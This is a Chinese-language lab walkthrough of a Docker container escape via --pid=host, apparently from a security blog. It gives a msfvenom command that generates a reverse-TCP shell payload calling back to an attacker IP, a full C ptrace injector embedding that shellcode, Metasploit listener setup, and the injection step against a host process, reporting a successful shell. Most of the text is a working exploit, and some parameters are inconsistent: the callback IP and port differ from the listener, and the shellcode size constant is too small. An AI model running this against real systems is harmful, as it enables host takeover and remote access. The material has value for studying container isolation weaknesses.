漏洞原理
当docker以--pid=host模式启动时,你可以通过在容器进程中注入一些shellcode进行逃逸。相当于给了docker Linux中的CAP_SYS_PTRACE权限
--pid=host:意味着宿主机与容器公享一套pid,如此做容器就可以访问并跟踪宿主机的进程
Linux中的CAP_SYS_PTRACE权限:允许跟踪任何进程
2实验环境
系统环境:ubuntu
docker版本:18.09
挂载的ununtu版本:18.04
攻击者:kali
3.漏洞复现
3.1安装Ubuntu docker 镜像
命令:
docker pull ubuntu:18.04
3.2--pid=host模式下运行docker
docker run -itd --pid=host ubuntu:18.04
docker exec -it db25b85c /bin/bash
结果:
查看进程后发现进程数目变多,是由于--pid=host模式下宿主机与容器公享一套pid导致容器可以跟踪到宿主机的进程,相当于通过宿主机的进程进行逃逸。
由于docker容器中的进程与宿主机上的进程相同, 为方便操作接下来将在宿主机下进行进行实验,二者原理相同。
3.3通过kail中的linux木马进行逃逸
3.3.1通过msfvenom生成shell的回弹木马
命令:
msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.239.133 LPORT=12345 -f c
#-p:payload 包含在你用于一次漏洞利用中的ShellCode中的主要功能代码
#LHOST:接受回弹后信息的IP地址
#LPORT:接受回弹后信息的端口
#-f:format生成木马的格式 如:c、bash、js等
结果:
以C语言的形式生成的木马
3.3.2编写回弹语句文件inject.c
文件内容:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/user.h>
#include <sys/reg.h>
#define SHELLCODE_SIZE 32
unsigned char *shellcode =
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9
\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a
\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05
\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x30\x39\xc0\xa8
\xef\x85\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59
\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a
\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48
\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26
\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"; #此处的代码为自己生成的木马
int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
int i;
uint32_t *s = (uint32_t *) src;
uint32_t *d = (uint32_t *) dst;
for (i = 0; i < len; i+=4, s++, d++)
{
if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
{
perror ("ptrace(POKETEXT):");
return -1;
}
}
return 0;
}
int
main (int argc, char *argv[])
{
pid_t target;
struct user_regs_struct regs;
int syscall;
long dst;
if (argc != 2)
{
fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
exit (1);
}
target = atoi (argv[1]);
printf ("+ Tracing process %d\n", target);
if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(ATTACH):");
exit (1);
}
printf ("+ Waiting for process...\n");
wait (NULL);
printf ("+ Getting Registers\n");
if ((ptrace (PTRACE_GETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
/* Inject code into current RPI position */
printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
if ((ptrace (PTRACE_SETREGS, target, NULL, ®s)) < 0)
{
perror ("ptrace(GETREGS):");
exit (1);
}
printf ("+ Run it!\n");
if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
{
perror ("ptrace(DETACH):");
exit (1);
}
return 0;
}
3.3.3编译inject.c文件
命令:
gcc inject.c -o inject #编译后的文件名为inject
结果:
3.4.使用msfconsole监听回弹信息端口
3.4.1开启msfconsole
命令:
msfconsole
结果:
3.4.2创建handler
命令:
use exploit/multi/handler
结果:
3.4.3创建监听的payload
命令:
set payload linux/x64/shell_reverse_tcp
结果:
3.4.4设置接收回弹信息的IP
命令:
set lhost 192.168.232.130
结果:
3.4.5设置接收回弹信息的端口
命令:
set lport 1234
结果:
3.4.6启动监听
命令:
exploit
结果:
回弹监听开启成功
3.5创建开启用于回弹的进程
命令:
python3 -m http.server 6789
结果:
3.6通过创建的进程进行回弹注入
3.6.1查看进程号
命令:
ps -ef | grep python3
结果:
3.6.2使用inject进行注入
命令:
./inject 47614
结果:
3.7查看监听结果
成功监听到靶机的权限,说明docker容器可以成功逃逸。